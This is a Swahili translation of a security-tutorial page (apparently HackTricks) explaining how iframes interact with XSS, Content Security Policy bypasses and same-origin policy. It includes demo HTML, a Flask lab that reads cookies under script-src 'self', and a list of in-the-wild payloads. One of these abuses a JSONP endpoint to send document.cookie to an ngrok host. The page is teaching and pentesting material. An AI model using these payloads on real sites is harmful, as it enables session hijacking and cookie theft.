Iframes in XSS, CSP and SOP

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Iframes katika XSS

Kuna njia 3 za kuonyesha maudhui ya ukurasa ulio na iframe:

  • Kupitia src ikionyesha URL (URL inaweza kuwa ya asili tofauti au sawa)

  • Kupitia src ikionyesha maudhui kwa kutumia itifaki ya data:

  • Kupitia srcdoc ikionyesha maudhui

Kupata Vipimo vya Mzazi na Mtoto

<html>
<script>
var secret = "31337s3cr37t";
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

Iframes na CSP

Tafadhali, elewa jinsi katika kukiuka zifuatazo majibu kwa ukurasa ulio na iframe hayana kichwa cha CSP kinachozuia utekelezaji wa JS.

Thamani ya self ya script-src haitaruhusu utekelezaji wa msimbo wa JS ukitumia itifaki ya data: au sifa ya srcdoc. Hata hivyo, hata thamani ya none ya CSP itaruhusu utekelezaji wa iframes ambazo huingiza URL (kamili au tu njia) katika sifa ya src. Hivyo ni rahisi kukiuka CSP ya ukurasa na:

<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Tafadhali angalia jinsi CSP ya awali inaruhusu utekelezaji wa skripti ya ndani. Hata hivyo, tu if1 na if2 skripti zitatekelezwa lakini if1 pekee itaweza kufikia siri ya mzazi.

Hivyo basi, ni rahisi kukiuka CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia fremu hata na script-src 'none'. Hii inaweza pia kufanywa kwa kudhuru kituo cha JSONP cha tovuti ile ile.

Unaweza kufanya majaribio haya na hali ifuatayo ambapo kuki inaibiwa hata na script-src 'none'. Fanya programu iende na ufikie kwa kutumia kivinjari chako:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Mipakia mingine iliyopatikana porini

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe ya mchanga

Maudhui ndani ya iframe inaweza kuwekwa chini ya vizuizi zaidi kupitia matumizi ya sifa ya sandbox. Kwa chaguo-msingi, sifa hii haitekelezwi, maana hakuna vizuizi vilivyowekwa.

Inapotumiwa, sifa ya sandbox inaweka vizuizi kadhaa:

  • Maudhui yanashughulikiwa kana kwamba yanatoka kwenye chanzo kimoja.

  • Jaribio lolote la kuwasilisha fomu linazuiliwa.

  • Utekelezaji wa scripts unazuiliwa.

  • Upatikanaji wa APIs fulani unalemazwa.

  • Inazuia viungo kutoka kuingiliana na muktadha mwingine wa kuvinjari.

  • Matumizi ya programu-jalizi kupitia <embed>, <object>, <applet>, au vitambulisho vinavyofanana haviruhusiwi.

  • Uvinjari wa muktadha wa kuvinjari wa kiwango cha juu cha maudhui na maudhui yenyewe unazuiliwa.

  • Vipengele vinavyoanzishwa moja kwa moja, kama vile kucheza video au kufanya fomu zifanye autofocus, vinazuiliwa.

Thamani ya sifa inaweza kuachwa tupu (sandbox="") ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwa orodha ya thamani maalum zilizotenganishwa na nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes katika SOP

Angalia kurasa zifuatazo:

pageBypassing SOP with Iframes - 1pageBypassing SOP with Iframes - 2pageBlocking main page to steal postmessagepageSteal postmessage modifying iframe location
Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Last updated